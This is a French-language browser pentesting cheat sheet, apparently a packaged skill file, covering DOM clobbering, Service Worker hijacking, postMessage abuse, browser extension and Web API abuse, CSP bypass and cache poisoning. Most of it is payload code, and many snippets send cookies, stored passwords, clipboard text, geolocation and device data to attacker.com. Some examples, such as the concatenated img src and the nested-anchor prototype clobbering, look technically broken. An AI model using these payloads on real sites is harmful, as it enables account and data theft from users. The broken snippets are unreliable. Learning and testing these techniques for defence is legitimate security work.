browser-pentesting

name	browser-pentesting
description	Guide complet de pentest navigateur — DOM clobbering, Service Worker hijacking, extension exploitation, postMessage, sandbox escape, et Web API abuse
category	cybersecurite

Browser Pentesting — DOM & Web APIs

---

1. DOM Clobbering

Exploite l'interaction entre les IDs HTML et les variables JavaScript globales.

Principe

<!-- Si le JS utilise: -->
<script>
  if (window.isAdmin) { ... }  // undefined normalement
</script>

<!-- DOM Clobbering: -->
<a id="isAdmin"></a>
<!-- window.isAdmin devient l'élément <a> → truthy ! -->

<!-- Plus avancé: -->
<form id="config">
  <input name="apiUrl" value="https://attacker.com/">
</form>
<!-- Si JS fait: config.apiUrl → "https://attacker.com/" -->

Payloads DOM Clobbering

<!-- Clobberer une variable booléenne -->
<a id="isAdmin" href="x">  <!-- truthy -->

<!-- Clobberer une variable string -->
<a id="apiKey" href="https://attacker.com/key">  <!-- href donne l'URL -->

<!-- Clobberer une propriété d'objet -->
<form id="config">
  <input name="endpoint" value="https://attacker.com/exfil">
</form>

<!-- Clobberer une fonction -->
<a id="sanitize" href="x">  <!-- remplace window.sanitize -->

<!-- Formulaire avec action -->
<form id="loginForm" action="https://attacker.com/steal">
  <input name="username">
  <input name="password">
</form>

DOM Clobbering + XSS

<!-- Si le JS utilise innerHTML avec un objet clobberé -->
<!-- Exemple: template.innerHTML = config.template -->
<a id="config">
  <a id="config__proto__">
    <a id="config__proto__innerHTML" href="<img src=x onerror=alert(1)>">
  </a>
</a>

---

2. Service Worker Attacks

Service Worker Hijacking

// Installer un Service Worker malveillant
// Nécessite: HTTPS + fichier JS sur le même origin

// sw.js — intercepte TOUTES les requêtes
self.addEventListener('fetch', function(event) {
  // Voler les credentials
  fetch('https://attacker.com/steal?' + event.request.url);

  // Répondre avec du contenu modifié
  event.respondWith(
    new Response('<script>alert("Hacked")</script>', {
      headers: {'Content-Type': 'text/html'}
    })
  );
});

// Enregistrement (depuis une XSS)
navigator.serviceWorker.register('/sw.js')
  .then(() => console.log('SW registered'));

Service Worker Scope Poisoning

// Si le scope est trop large, le SW intercepte tout le site
navigator.serviceWorker.register('/static/sw.js', { scope: '/' });
// → intercepte /admin, /api, /login, etc.

Unregister Service Workers

// Détruire les SW de sécurité
navigator.serviceWorker.getRegistrations().then(function(regs) {
  for(let reg of regs) {
    reg.unregister();
  }
});

---

3. postMessage Exploitation

Réception non sécurisée

// VULNÉRABLE — pas de vérification d'origine
window.addEventListener('message', function(e) {
  // e.data contient le message
  eval(e.data);  // RCE via postMessage !
});

// Attaque:
// <iframe src="https://target.com">
// L'attaquant envoie:
targetWindow.postMessage('alert(document.cookie)', '*');

Protections bypass

// Vérification faible de l'origine
if (e.origin.includes('target.com')) { ... }  // Bypass: target.com.attacker.com
if (e.origin.match(/target\.com/)) { ... }    // Bypass: targetXcom.attacker.com

// Pas de vérification
window.addEventListener('message', function(e) {
  document.getElementById('msg').innerHTML = e.data;  // XSS !
});

postMessage to XSS

<!-- Iframe cible reçoit des messages postMessage -->
<!-- et les injecte dans innerHTML sans vérification -->

<!-- Page attaquante -->
<iframe id="victim" src="https://target.com/widget"></iframe>
<script>
victim.contentWindow.postMessage('<img src=x onerror=alert(document.cookie)>', '*');
</script>

---

4. Browser Extension Exploitation

Extension Permission Abuse

// Si l'extension a des privilèges élevés
chrome.tabs.executeScript(tabId, {code: 'alert(document.cookie)'});

// Background page (persistante, même après navigation)
// → peut intercepter les credentials

// Storage API
chrome.storage.local.get(['passwords'], function(data) {
  fetch('https://attacker.com/steal', {method: 'POST', body: JSON.stringify(data)});
});

Extension Communication Hijacking

// Intercepter les messages entre extension et page web
// native messaging, runtime.sendMessage, storage changes
window.addEventListener('message', function(e) {
  if (e.source === window && e.data.extension) {
    // Voler les données échangées
  }
});

---

5. Web API Abuse

Geolocation Spoofing

// Si l'application utilise geolocation
// La page peut usurper la position API si l'utilisateur a accepté

// Contournement: l'attaquant attend que l'utilisateur accepte
// puis modifie dynamiquement la position

// Fuzzing des permissions
navigator.permissions.query({name:'geolocation'}).then(function(p) {
  if (p.state === 'granted') {
    navigator.geolocation.getCurrentPosition(function(pos) {
      fetch('https://attacker.com/geo?lat='+pos.coords.latitude);
    });
  }
});

WebUSB / WebBluetooth / WebNFC

// Accès à du hardware via Web APIs
navigator.usb.getDevices().then(devices => {
  devices.forEach(d => {
    fetch('https://attacker.com/usb', {body: JSON.stringify(d)});
  });
});

Clipboard API

// Voler le presse-papiers
navigator.clipboard.readText().then(text => {
  fetch('https://attacker.com/clip?data=' + encodeURIComponent(text));
});

---

6. Sandbox Escape

Iframe Sandbox Bypass

<!-- Sandbox restrictif -->
<iframe sandbox="allow-scripts" src="..."></iframe>
<!-- Pas de submit, popups, same-origin, etc. -->

# Bypass techniques:
# - CSP: frame-ancestors
# - Seamless embedding
# - Nested iframes (sandbox dans sandbox)
# - window.name leakage

CSP Bypass

<!-- CSP: script-src 'self' -->
<!-- Bypass via JSONP -->
<script src="https://api.target.com/callback?jsonp=alert(1)"></script>

<!-- CSP: script-src 'unsafe-inline' -->
<!-- Bypass via DOM clobbering + gadgets -->

<!-- CSP: img-src * -->
<!-- Exfiltration via image tags -->
<img src="https://attacker.com/steal?cookie="+document.cookie>

<!-- CSP Bypass via CRLF injection dans headers -->

---

7. Cache Poisoning / PWA

PWA Cache Poisoning

// Si l'application utilise Service Worker + Cache API
// L'attaquant peut empoisonner le cache

// Installer un SW qui retourne du contenu modifié
// La PWA devient une backdoor persistante

// CacheStorage manipulation
caches.open('v1').then(cache => {
  cache.put('/index.html', new Response('<script>alert(1)</script>'));
});

---

Outils

# DOM Invader (Burp Extension) — détection DOM XSS + clobbering
# DOMLogger++ (Burp Extension) — log des actions DOM
# HackTricks DOM Clobbering

---

Checklist

DOM CLOBBERING
☐ Variables globales clobberables via IDs
☐ Form/Anchor tags pour valeurs string
☐ Objets imbriqués (x__proto__)
☐ Fonctions de sanitization clobberées

SERVICE WORKER
☐ SW registration via XSS ?
☐ SW scope trop large ?
☐ SW hijacking des requêtes ?
☐ SW cache poisoning ?

POSTMESSAGE
☐ Vérification d'origine absente ?
☐ Vérification d'origine faible ?
☐ innerHTML/eval dans le handler ?

EXTENSIONS
☐ Permissions excessives ?
☐ Communication non sécurisée ?
☐ Stockage local non chiffré ?

WEB APIs
☐ Geolocation abuse
☐ WebUSB/Bluetooth access
☐ Clipboard access
☐ Permission states fuzzing

Ressources

• HackTricks : https://book.hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/dom-clobbering.html
• PortSwigger : https://portswigger.net/web-security/dom-clobbering
• DOM Invader : https://portswigger.net/burp/documentation/desktop/tools/dom-invader
• Service Worker Attacks : https://github.com/nicholasaleks/Security-Testing-of-Service-Workers
• postMessage Lab : https://portswigger.net/web-security/dom-based/controlling-the-web-message-source